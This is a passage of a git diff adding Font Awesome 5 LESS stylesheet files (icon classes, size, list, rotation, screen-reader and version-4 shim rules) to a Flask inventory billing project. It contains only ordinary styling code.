content: @fa-var-table-tennis; } +.@{fa-css-prefix}-tablet:before { content: @fa-var-tablet; } +.@{fa-css-prefix}-tablet-alt:before { content: @fa-var-tablet-alt; } +.@{fa-css-prefix}-tablets:before { content: @fa-var-tablets; } +.@{fa-css-prefix}-tachometer-alt:before { content: @fa-var-tachometer-alt; } +.@{fa-css-prefix}-tag:before { content: @fa-var-tag; } +.@{fa-css-prefix}-tags:before { content: @fa-var-tags; } +.@{fa-css-prefix}-tape:before { content: @fa-var-tape; } +.@{fa-css-prefix}-tasks:before { content: @fa-var-tasks; } +.@{fa-css-prefix}-taxi:before { content: @fa-var-taxi; } +.@{fa-css-prefix}-teamspeak:before { content: @fa-var-teamspeak; } +.@{fa-css-prefix}-teeth:before { content: @fa-var-teeth; } +.@{fa-css-prefix}-teeth-open:before { content: @fa-var-teeth-open; } +.@{fa-css-prefix}-telegram:before { content: @fa-var-telegram; } +.@{fa-css-prefix}-telegram-plane:before { content: @fa-var-telegram-plane; } +.@{fa-css-prefix}-temperature-high:before { content: @fa-var-temperature-high; } +.@{fa-css-prefix}-temperature-low:before { content: @fa-var-temperature-low; } +.@{fa-css-prefix}-tencent-weibo:before { content: @fa-var-tencent-weibo; } +.@{fa-css-prefix}-tenge:before { content: @fa-var-tenge; } +.@{fa-css-prefix}-terminal:before { content: @fa-var-terminal; } +.@{fa-css-prefix}-text-height:before { content: @fa-var-text-height; } +.@{fa-css-prefix}-text-width:before { content: @fa-var-text-width; } +.@{fa-css-prefix}-th:before { content: @fa-var-th; } +.@{fa-css-prefix}-th-large:before { content: @fa-var-th-large; } +.@{fa-css-prefix}-th-list:before { content: @fa-var-th-list; } +.@{fa-css-prefix}-the-red-yeti:before { content: @fa-var-the-red-yeti; } +.@{fa-css-prefix}-theater-masks:before { content: @fa-var-theater-masks; } +.@{fa-css-prefix}-themeco:before { content: @fa-var-themeco; } +.@{fa-css-prefix}-themeisle:before { content: @fa-var-themeisle; } +.@{fa-css-prefix}-thermometer:before { content: @fa-var-thermometer; } +.@{fa-css-prefix}-thermometer-empty:before { content: @fa-var-thermometer-empty; } +.@{fa-css-prefix}-thermometer-full:before { content: @fa-var-thermometer-full; } +.@{fa-css-prefix}-thermometer-half:before { content: @fa-var-thermometer-half; } +.@{fa-css-prefix}-thermometer-quarter:before { content: @fa-var-thermometer-quarter; } +.@{fa-css-prefix}-thermometer-three-quarters:before { content: @fa-var-thermometer-three-quarters; } +.@{fa-css-prefix}-think-peaks:before { content: @fa-var-think-peaks; } +.@{fa-css-prefix}-thumbs-down:before { content: @fa-var-thumbs-down; } +.@{fa-css-prefix}-thumbs-up:before { content: @fa-var-thumbs-up; } +.@{fa-css-prefix}-thumbtack:before { content: @fa-var-thumbtack; } +.@{fa-css-prefix}-ticket-alt:before { content: @fa-var-ticket-alt; } +.@{fa-css-prefix}-tiktok:before { content: @fa-var-tiktok; } +.@{fa-css-prefix}-times:before { content: @fa-var-times; } +.@{fa-css-prefix}-times-circle:before { content: @fa-var-times-circle; } +.@{fa-css-prefix}-tint:before { content: @fa-var-tint; } +.@{fa-css-prefix}-tint-slash:before { content: @fa-var-tint-slash; } +.@{fa-css-prefix}-tired:before { content: @fa-var-tired; } +.@{fa-css-prefix}-toggle-off:before { content: @fa-var-toggle-off; } +.@{fa-css-prefix}-toggle-on:before { content: @fa-var-toggle-on; } +.@{fa-css-prefix}-toilet:before { content: @fa-var-toilet; } +.@{fa-css-prefix}-toilet-paper:before { content: @fa-var-toilet-paper; } +.@{fa-css-prefix}-toilet-paper-slash:before { content: @fa-var-toilet-paper-slash; } +.@{fa-css-prefix}-toolbox:before { content: @fa-var-toolbox; } +.@{fa-css-prefix}-tools:before { content: @fa-var-tools; } +.@{fa-css-prefix}-tooth:before { content: @fa-var-tooth; } +.@{fa-css-prefix}-torah:before { content: @fa-var-torah; } +.@{fa-css-prefix}-torii-gate:before { content: @fa-var-torii-gate; } +.@{fa-css-prefix}-tractor:before { content: @fa-var-tractor; } +.@{fa-css-prefix}-trade-federation:before { content: @fa-var-trade-federation; } +.@{fa-css-prefix}-trademark:before { content: @fa-var-trademark; } +.@{fa-css-prefix}-traffic-light:before { content: @fa-var-traffic-light; } +.@{fa-css-prefix}-trailer:before { content: @fa-var-trailer; } +.@{fa-css-prefix}-train:before { content: @fa-var-train; } +.@{fa-css-prefix}-tram:before { content: @fa-var-tram; } +.@{fa-css-prefix}-transgender:before { content: @fa-var-transgender; } +.@{fa-css-prefix}-transgender-alt:before { content: @fa-var-transgender-alt; } +.@{fa-css-prefix}-trash:before { content: @fa-var-trash; } +.@{fa-css-prefix}-trash-alt:before { content: @fa-var-trash-alt; } +.@{fa-css-prefix}-trash-restore:before { content: @fa-var-trash-restore; } +.@{fa-css-prefix}-trash-restore-alt:before { content: @fa-var-trash-restore-alt; } +.@{fa-css-prefix}-tree:before { content: @fa-var-tree; } +.@{fa-css-prefix}-trello:before { content: @fa-var-trello; } +.@{fa-css-prefix}-trophy:before { content: @fa-var-trophy; } +.@{fa-css-prefix}-truck:before { content: @fa-var-truck; } +.@{fa-css-prefix}-truck-loading:before { content: @fa-var-truck-loading; } +.@{fa-css-prefix}-truck-monster:before { content: @fa-var-truck-monster; } +.@{fa-css-prefix}-truck-moving:before { content: @fa-var-truck-moving; } +.@{fa-css-prefix}-truck-pickup:before { content: @fa-var-truck-pickup; } +.@{fa-css-prefix}-tshirt:before { content: @fa-var-tshirt; } +.@{fa-css-prefix}-tty:before { content: @fa-var-tty; } +.@{fa-css-prefix}-tumblr:before { content: @fa-var-tumblr; } +.@{fa-css-prefix}-tumblr-square:before { content: @fa-var-tumblr-square; } +.@{fa-css-prefix}-tv:before { content: @fa-var-tv; } +.@{fa-css-prefix}-twitch:before { content: @fa-var-twitch; } +.@{fa-css-prefix}-twitter:before { content: @fa-var-twitter; } +.@{fa-css-prefix}-twitter-square:before { content: @fa-var-twitter-square; } +.@{fa-css-prefix}-typo3:before { content: @fa-var-typo3; } +.@{fa-css-prefix}-uber:before { content: @fa-var-uber; } +.@{fa-css-prefix}-ubuntu:before { content: @fa-var-ubuntu; } +.@{fa-css-prefix}-uikit:before { content: @fa-var-uikit; } +.@{fa-css-prefix}-umbraco:before { content: @fa-var-umbraco; } +.@{fa-css-prefix}-umbrella:before { content: @fa-var-umbrella; } +.@{fa-css-prefix}-umbrella-beach:before { content: @fa-var-umbrella-beach; } +.@{fa-css-prefix}-uncharted:before { content: @fa-var-uncharted; } +.@{fa-css-prefix}-underline:before { content: @fa-var-underline; } +.@{fa-css-prefix}-undo:before { content: @fa-var-undo; } +.@{fa-css-prefix}-undo-alt:before { content: @fa-var-undo-alt; } +.@{fa-css-prefix}-uniregistry:before { content: @fa-var-uniregistry; } +.@{fa-css-prefix}-unity:before { content: @fa-var-unity; } +.@{fa-css-prefix}-universal-access:before { content: @fa-var-universal-access; } +.@{fa-css-prefix}-university:before { content: @fa-var-university; } +.@{fa-css-prefix}-unlink:before { content: @fa-var-unlink; } +.@{fa-css-prefix}-unlock:before { content: @fa-var-unlock; } +.@{fa-css-prefix}-unlock-alt:before { content: @fa-var-unlock-alt; } +.@{fa-css-prefix}-unsplash:before { content: @fa-var-unsplash; } +.@{fa-css-prefix}-untappd:before { content: @fa-var-untappd; } +.@{fa-css-prefix}-upload:before { content: @fa-var-upload; } +.@{fa-css-prefix}-ups:before { content: @fa-var-ups; } +.@{fa-css-prefix}-usb:before { content: @fa-var-usb; } +.@{fa-css-prefix}-user:before { content: @fa-var-user; } +.@{fa-css-prefix}-user-alt:before { content: @fa-var-user-alt; } +.@{fa-css-prefix}-user-alt-slash:before { content: @fa-var-user-alt-slash; } +.@{fa-css-prefix}-user-astronaut:before { content: @fa-var-user-astronaut; } +.@{fa-css-prefix}-user-check:before { content: @fa-var-user-check; } +.@{fa-css-prefix}-user-circle:before { content: @fa-var-user-circle; } +.@{fa-css-prefix}-user-clock:before { content: @fa-var-user-clock; } +.@{fa-css-prefix}-user-cog:before { content: @fa-var-user-cog; } +.@{fa-css-prefix}-user-edit:before { content: @fa-var-user-edit; } +.@{fa-css-prefix}-user-friends:before { content: @fa-var-user-friends; } +.@{fa-css-prefix}-user-graduate:before { content: @fa-var-user-graduate; } +.@{fa-css-prefix}-user-injured:before { content: @fa-var-user-injured; } +.@{fa-css-prefix}-user-lock:before { content: @fa-var-user-lock; } +.@{fa-css-prefix}-user-md:before { content: @fa-var-user-md; } +.@{fa-css-prefix}-user-minus:before { content: @fa-var-user-minus; } +.@{fa-css-prefix}-user-ninja:before { content: @fa-var-user-ninja; } +.@{fa-css-prefix}-user-nurse:before { content: @fa-var-user-nurse; } +.@{fa-css-prefix}-user-plus:before { content: @fa-var-user-plus; } +.@{fa-css-prefix}-user-secret:before { content: @fa-var-user-secret; } +.@{fa-css-prefix}-user-shield:before { content: @fa-var-user-shield; } +.@{fa-css-prefix}-user-slash:before { content: @fa-var-user-slash; } +.@{fa-css-prefix}-user-tag:before { content: @fa-var-user-tag; } +.@{fa-css-prefix}-user-tie:before { content: @fa-var-user-tie; } +.@{fa-css-prefix}-user-times:before { content: @fa-var-user-times; } +.@{fa-css-prefix}-users:before { content: @fa-var-users; } +.@{fa-css-prefix}-users-cog:before { content: @fa-var-users-cog; } +.@{fa-css-prefix}-users-slash:before { content: @fa-var-users-slash; } +.@{fa-css-prefix}-usps:before { content: @fa-var-usps; } +.@{fa-css-prefix}-ussunnah:before { content: @fa-var-ussunnah; } +.@{fa-css-prefix}-utensil-spoon:before { content: @fa-var-utensil-spoon; } +.@{fa-css-prefix}-utensils:before { content: @fa-var-utensils; } +.@{fa-css-prefix}-vaadin:before { content: @fa-var-vaadin; } +.@{fa-css-prefix}-vector-square:before { content: @fa-var-vector-square; } +.@{fa-css-prefix}-venus:before { content: @fa-var-venus; } +.@{fa-css-prefix}-venus-double:before { content: @fa-var-venus-double; } +.@{fa-css-prefix}-venus-mars:before { content: @fa-var-venus-mars; } +.@{fa-css-prefix}-vest:before { content: @fa-var-vest; } +.@{fa-css-prefix}-vest-patches:before { content: @fa-var-vest-patches; } +.@{fa-css-prefix}-viacoin:before { content: @fa-var-viacoin; } +.@{fa-css-prefix}-viadeo:before { content: @fa-var-viadeo; } +.@{fa-css-prefix}-viadeo-square:before { content: @fa-var-viadeo-square; } +.@{fa-css-prefix}-vial:before { content: @fa-var-vial; } +.@{fa-css-prefix}-vials:before { content: @fa-var-vials; } +.@{fa-css-prefix}-viber:before { content: @fa-var-viber; } +.@{fa-css-prefix}-video:before { content: @fa-var-video; } +.@{fa-css-prefix}-video-slash:before { content: @fa-var-video-slash; } +.@{fa-css-prefix}-vihara:before { content: @fa-var-vihara; } +.@{fa-css-prefix}-vimeo:before { content: @fa-var-vimeo; } +.@{fa-css-prefix}-vimeo-square:before { content: @fa-var-vimeo-square; } +.@{fa-css-prefix}-vimeo-v:before { content: @fa-var-vimeo-v; } +.@{fa-css-prefix}-vine:before { content: @fa-var-vine; } +.@{fa-css-prefix}-virus:before { content: @fa-var-virus; } +.@{fa-css-prefix}-virus-slash:before { content: @fa-var-virus-slash; } +.@{fa-css-prefix}-viruses:before { content: @fa-var-viruses; } +.@{fa-css-prefix}-vk:before { content: @fa-var-vk; } +.@{fa-css-prefix}-vnv:before { content: @fa-var-vnv; } +.@{fa-css-prefix}-voicemail:before { content: @fa-var-voicemail; } +.@{fa-css-prefix}-volleyball-ball:before { content: @fa-var-volleyball-ball; } +.@{fa-css-prefix}-volume-down:before { content: @fa-var-volume-down; } +.@{fa-css-prefix}-volume-mute:before { content: @fa-var-volume-mute; } +.@{fa-css-prefix}-volume-off:before { content: @fa-var-volume-off; } +.@{fa-css-prefix}-volume-up:before { content: @fa-var-volume-up; } +.@{fa-css-prefix}-vote-yea:before { content: @fa-var-vote-yea; } +.@{fa-css-prefix}-vr-cardboard:before { content: @fa-var-vr-cardboard; } +.@{fa-css-prefix}-vuejs:before { content: @fa-var-vuejs; } +.@{fa-css-prefix}-walking:before { content: @fa-var-walking; } +.@{fa-css-prefix}-wallet:before { content: @fa-var-wallet; } +.@{fa-css-prefix}-warehouse:before { content: @fa-var-warehouse; } +.@{fa-css-prefix}-watchman-monitoring:before { content: @fa-var-watchman-monitoring; } +.@{fa-css-prefix}-water:before { content: @fa-var-water; } +.@{fa-css-prefix}-wave-square:before { content: @fa-var-wave-square; } +.@{fa-css-prefix}-waze:before { content: @fa-var-waze; } +.@{fa-css-prefix}-weebly:before { content: @fa-var-weebly; } +.@{fa-css-prefix}-weibo:before { content: @fa-var-weibo; } +.@{fa-css-prefix}-weight:before { content: @fa-var-weight; } +.@{fa-css-prefix}-weight-hanging:before { content: @fa-var-weight-hanging; } +.@{fa-css-prefix}-weixin:before { content: @fa-var-weixin; } +.@{fa-css-prefix}-whatsapp:before { content: @fa-var-whatsapp; } +.@{fa-css-prefix}-whatsapp-square:before { content: @fa-var-whatsapp-square; } +.@{fa-css-prefix}-wheelchair:before { content: @fa-var-wheelchair; } +.@{fa-css-prefix}-whmcs:before { content: @fa-var-whmcs; } +.@{fa-css-prefix}-wifi:before { content: @fa-var-wifi; } +.@{fa-css-prefix}-wikipedia-w:before { content: @fa-var-wikipedia-w; } +.@{fa-css-prefix}-wind:before { content: @fa-var-wind; } +.@{fa-css-prefix}-window-close:before { content: @fa-var-window-close; } +.@{fa-css-prefix}-window-maximize:before { content: @fa-var-window-maximize; } +.@{fa-css-prefix}-window-minimize:before { content: @fa-var-window-minimize; } +.@{fa-css-prefix}-window-restore:before { content: @fa-var-window-restore; } +.@{fa-css-prefix}-windows:before { content: @fa-var-windows; } +.@{fa-css-prefix}-wine-bottle:before { content: @fa-var-wine-bottle; } +.@{fa-css-prefix}-wine-glass:before { content: @fa-var-wine-glass; } +.@{fa-css-prefix}-wine-glass-alt:before { content: @fa-var-wine-glass-alt; } +.@{fa-css-prefix}-wix:before { content: @fa-var-wix; } +.@{fa-css-prefix}-wizards-of-the-coast:before { content: @fa-var-wizards-of-the-coast; } +.@{fa-css-prefix}-wodu:before { content: @fa-var-wodu; } +.@{fa-css-prefix}-wolf-pack-battalion:before { content: @fa-var-wolf-pack-battalion; } +.@{fa-css-prefix}-won-sign:before { content: @fa-var-won-sign; } +.@{fa-css-prefix}-wordpress:before { content: @fa-var-wordpress; } +.@{fa-css-prefix}-wordpress-simple:before { content: @fa-var-wordpress-simple; } +.@{fa-css-prefix}-wpbeginner:before { content: @fa-var-wpbeginner; } +.@{fa-css-prefix}-wpexplorer:before { content: @fa-var-wpexplorer; } +.@{fa-css-prefix}-wpforms:before { content: @fa-var-wpforms; } +.@{fa-css-prefix}-wpressr:before { content: @fa-var-wpressr; } +.@{fa-css-prefix}-wrench:before { content: @fa-var-wrench; } +.@{fa-css-prefix}-x-ray:before { content: @fa-var-x-ray; } +.@{fa-css-prefix}-xbox:before { content: @fa-var-xbox; } +.@{fa-css-prefix}-xing:before { content: @fa-var-xing; } +.@{fa-css-prefix}-xing-square:before { content: @fa-var-xing-square; } +.@{fa-css-prefix}-y-combinator:before { content: @fa-var-y-combinator; } +.@{fa-css-prefix}-yahoo:before { content: @fa-var-yahoo; } +.@{fa-css-prefix}-yammer:before { content: @fa-var-yammer; } +.@{fa-css-prefix}-yandex:before { content: @fa-var-yandex; } +.@{fa-css-prefix}-yandex-international:before { content: @fa-var-yandex-international; } +.@{fa-css-prefix}-yarn:before { content: @fa-var-yarn; } +.@{fa-css-prefix}-yelp:before { content: @fa-var-yelp; } +.@{fa-css-prefix}-yen-sign:before { content: @fa-var-yen-sign; } +.@{fa-css-prefix}-yin-yang:before { content: @fa-var-yin-yang; } +.@{fa-css-prefix}-yoast:before { content: @fa-var-yoast; } +.@{fa-css-prefix}-youtube:before { content: @fa-var-youtube; } +.@{fa-css-prefix}-youtube-square:before { content: @fa-var-youtube-square; } +.@{fa-css-prefix}-zhihu:before { content: @fa-var-zhihu; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_larger.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_larger.less new file mode 100644 index 00000000..6cbb1ec6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_larger.less @@ -0,0 +1,27 @@ +// Icon Sizes +// ------------------------- + +.larger(@factor) when (@factor > 0) { + .larger((@factor - 1)); + + .@{fa-css-prefix}-@{factor}x { + font-size: (@factor * 1em); + } +} + +/* makes the font 33% larger relative to the icon container */ +.@{fa-css-prefix}-lg { + font-size: (4em / 3); + line-height: (3em / 4); + vertical-align: -.0667em; +} + +.@{fa-css-prefix}-xs { + font-size: .75em; +} + +.@{fa-css-prefix}-sm { + font-size: .875em; +} + +.larger(10); diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_list.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_list.less new file mode 100644 index 00000000..318aaa96 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_list.less @@ -0,0 +1,18 @@ +// List Icons +// ------------------------- + +.@{fa-css-prefix}-ul { + list-style-type: none; + margin-left: (@fa-li-width * 5/4); + padding-left: 0; + + > li { position: relative; } +} + +.@{fa-css-prefix}-li { + left: -@fa-li-width; + position: absolute; + text-align: center; + width: @fa-li-width; + line-height: inherit; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_mixins.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_mixins.less new file mode 100644 index 00000000..be561347 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_mixins.less @@ -0,0 +1,56 @@ +// Mixins +// -------------------------- + +.fa-icon() { + -moz-osx-font-smoothing: grayscale; + -webkit-font-smoothing: antialiased; + display: inline-block; + font-style: normal; + font-variant: normal; + font-weight: normal; + line-height: 1; +} + +.fa-icon-rotate(@degrees, @rotation) { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=@{rotation})"; + transform: rotate(@degrees); +} + +.fa-icon-flip(@horiz, @vert, @rotation) { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=@{rotation}, mirror=1)"; + transform: scale(@horiz, @vert); +} + + +// Only display content to screen readers. A la Bootstrap 4. +// +// See: http://a11yproject.com/posts/how-to-hide-content/ + +.sr-only() { + border: 0; + clip: rect(0,0,0,0); + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + width: 1px; +} + +// Use in conjunction with .sr-only to only display content when it's focused. +// +// Useful for "Skip to main content" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1 +// +// Credit: HTML5 Boilerplate + +.sr-only-focusable() { + &:active, + &:focus { + clip: auto; + height: auto; + margin: 0; + overflow: visible; + position: static; + width: auto; + } +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_rotated-flipped.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_rotated-flipped.less new file mode 100644 index 00000000..d0c63ff8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_rotated-flipped.less @@ -0,0 +1,24 @@ +// Rotated & Flipped Icons +// ------------------------- + +.@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); } +.@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); } +.@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); } + +.@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); } +.@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); } +.@{fa-css-prefix}-flip-both, .@{fa-css-prefix}-flip-horizontal.@{fa-css-prefix}-flip-vertical { .fa-icon-flip(-1, -1, 2); } + +// Hook for IE8-9 +// ------------------------- + +:root { + .@{fa-css-prefix}-rotate-90, + .@{fa-css-prefix}-rotate-180, + .@{fa-css-prefix}-rotate-270, + .@{fa-css-prefix}-flip-horizontal, + .@{fa-css-prefix}-flip-vertical, + .@{fa-css-prefix}-flip-both { + filter: none; + } +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_screen-reader.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_screen-reader.less new file mode 100644 index 00000000..11c18819 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_screen-reader.less @@ -0,0 +1,5 @@ +// Screen Readers +// ------------------------- + +.sr-only { .sr-only(); } +.sr-only-focusable { .sr-only-focusable(); } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_shims.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_shims.less new file mode 100644 index 00000000..3c8d86d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/_shims.less @@ -0,0 +1,2066 @@ +.@{fa-css-prefix}.@{fa-css-prefix}-glass:before { content: @fa-var-glass-martini; } + +.@{fa-css-prefix}.@{fa-css-prefix}-meetup { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-star-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-star-o:before { content: @fa-var-star; } + +.@{fa-css-prefix}.@{fa-css-prefix}-remove:before { content: @fa-var-times; } + +.@{fa-css-prefix}.@{fa-css-prefix}-close:before { content: @fa-var-times; } + +.@{fa-css-prefix}.@{fa-css-prefix}-gear:before { content: @fa-var-cog; } + +.@{fa-css-prefix}.@{fa-css-prefix}-trash-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-trash-o:before { content: @fa-var-trash-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-o:before { content: @fa-var-file; } + +.@{fa-css-prefix}.@{fa-css-prefix}-clock-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-clock-o:before { content: @fa-var-clock; } + +.@{fa-css-prefix}.@{fa-css-prefix}-arrow-circle-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-arrow-circle-o-down:before { content: @fa-var-arrow-alt-circle-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-arrow-circle-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-arrow-circle-o-up:before { content: @fa-var-arrow-alt-circle-up; } + +.@{fa-css-prefix}.@{fa-css-prefix}-play-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-play-circle-o:before { content: @fa-var-play-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-repeat:before { content: @fa-var-redo; } + +.@{fa-css-prefix}.@{fa-css-prefix}-rotate-right:before { content: @fa-var-redo; } + +.@{fa-css-prefix}.@{fa-css-prefix}-refresh:before { content: @fa-var-sync; } + +.@{fa-css-prefix}.@{fa-css-prefix}-list-alt { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-dedent:before { content: @fa-var-outdent; } + +.@{fa-css-prefix}.@{fa-css-prefix}-video-camera:before { content: @fa-var-video; } + +.@{fa-css-prefix}.@{fa-css-prefix}-picture-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-picture-o:before { content: @fa-var-image; } + +.@{fa-css-prefix}.@{fa-css-prefix}-photo { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-photo:before { content: @fa-var-image; } + +.@{fa-css-prefix}.@{fa-css-prefix}-image { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-image:before { content: @fa-var-image; } + +.@{fa-css-prefix}.@{fa-css-prefix}-pencil:before { content: @fa-var-pencil-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-map-marker:before { content: @fa-var-map-marker-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-pencil-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-pencil-square-o:before { content: @fa-var-edit; } + +.@{fa-css-prefix}.@{fa-css-prefix}-share-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-share-square-o:before { content: @fa-var-share-square; } + +.@{fa-css-prefix}.@{fa-css-prefix}-check-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-check-square-o:before { content: @fa-var-check-square; } + +.@{fa-css-prefix}.@{fa-css-prefix}-arrows:before { content: @fa-var-arrows-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-times-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-times-circle-o:before { content: @fa-var-times-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-check-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-check-circle-o:before { content: @fa-var-check-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-mail-forward:before { content: @fa-var-share; } + +.@{fa-css-prefix}.@{fa-css-prefix}-expand:before { content: @fa-var-expand-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-compress:before { content: @fa-var-compress-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-eye { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-eye-slash { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-warning:before { content: @fa-var-exclamation-triangle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-calendar:before { content: @fa-var-calendar-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-arrows-v:before { content: @fa-var-arrows-alt-v; } + +.@{fa-css-prefix}.@{fa-css-prefix}-arrows-h:before { content: @fa-var-arrows-alt-h; } + +.@{fa-css-prefix}.@{fa-css-prefix}-bar-chart { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-bar-chart:before { content: @fa-var-chart-bar; } + +.@{fa-css-prefix}.@{fa-css-prefix}-bar-chart-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-bar-chart-o:before { content: @fa-var-chart-bar; } + +.@{fa-css-prefix}.@{fa-css-prefix}-twitter-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-facebook-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-gears:before { content: @fa-var-cogs; } + +.@{fa-css-prefix}.@{fa-css-prefix}-thumbs-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-thumbs-o-up:before { content: @fa-var-thumbs-up; } + +.@{fa-css-prefix}.@{fa-css-prefix}-thumbs-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-thumbs-o-down:before { content: @fa-var-thumbs-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-heart-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-heart-o:before { content: @fa-var-heart; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sign-out:before { content: @fa-var-sign-out-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-linkedin-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-linkedin-square:before { content: @fa-var-linkedin; } + +.@{fa-css-prefix}.@{fa-css-prefix}-thumb-tack:before { content: @fa-var-thumbtack; } + +.@{fa-css-prefix}.@{fa-css-prefix}-external-link:before { content: @fa-var-external-link-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sign-in:before { content: @fa-var-sign-in-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-github-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-lemon-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-lemon-o:before { content: @fa-var-lemon; } + +.@{fa-css-prefix}.@{fa-css-prefix}-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-square-o:before { content: @fa-var-square; } + +.@{fa-css-prefix}.@{fa-css-prefix}-bookmark-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-bookmark-o:before { content: @fa-var-bookmark; } + +.@{fa-css-prefix}.@{fa-css-prefix}-twitter { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-facebook { + font-family: 'Font Awesome 5 